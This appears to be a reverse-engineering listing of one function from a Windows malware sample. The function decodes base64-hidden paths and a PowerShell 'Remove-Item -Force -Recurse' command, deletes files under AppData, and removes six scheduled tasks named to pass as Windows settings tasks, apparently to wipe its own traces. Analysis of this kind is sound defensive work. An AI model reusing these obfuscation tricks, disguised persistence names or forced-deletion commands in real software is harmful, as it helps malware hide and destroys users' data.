Function at 0x402fa0
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
lea eax, [ebp - 0x168]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x16c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x170]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x164]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x164]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
je 0x40305b
lea eax, [ebp - 0x164]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x188], str.SchTasks__Delete__TN__DataRestoreSettings_
mov dword [ebp - 0x184], str.SchTasks__Delete__TN__TouchpadSyncSettingsRestore_
mov dword [ebp - 0x180], str.SchTasks__Delete__TN__LocalUserDataSyncAvailable_
mov dword [ebp - 0x17c], str.SchTasks__Delete__TN__MouseDataRestoreAvailable_
mov dword [ebp - 0x178], str.SchTasks__Delete__TN__PenSettingsSync_
mov dword [ebp - 0x174], str.SchTasks__Delete__TN__UpdateWinOutSettings_
mov dword [ebp - 0x20], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
lea eax, [ebp - 0x510]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x24], eax
mov dword [esp + 0xc], 0x44c260
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Force__Recurse
lea eax, [ebp - 0x2b4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], 0x44c060
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Force__Recurse
lea eax, [ebp - 0x3e0]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x514]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
call sym._base64_decode
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0x44c540
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s_s_s__Force__Recurse
lea eax, [ebp - 0x50c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x2b4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x403171
mov dword [esp], str.fail
call sym._puts
jmp 0x40317d
mov dword [esp], 0x4291db
call sym._puts
lea eax, [ebp - 0x3e0]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4031a2
mov dword [esp], str.fail
call sym._puts
jmp 0x4031ae
mov dword [esp], 0x4291db
call sym._puts
lea eax, [ebp - 0x50c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x4031d3
mov dword [esp], str.fail
call sym._puts
jmp 0x4031df
mov dword [esp], 0x4291db
call sym._puts
mov dword [ebp - 0xc], 0
jmp 0x403213
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x188]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40320f
mov dword [esp], str.fail
call sym._puts
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 5
jbe 0x4031e8
mov eax, 0
leave
ret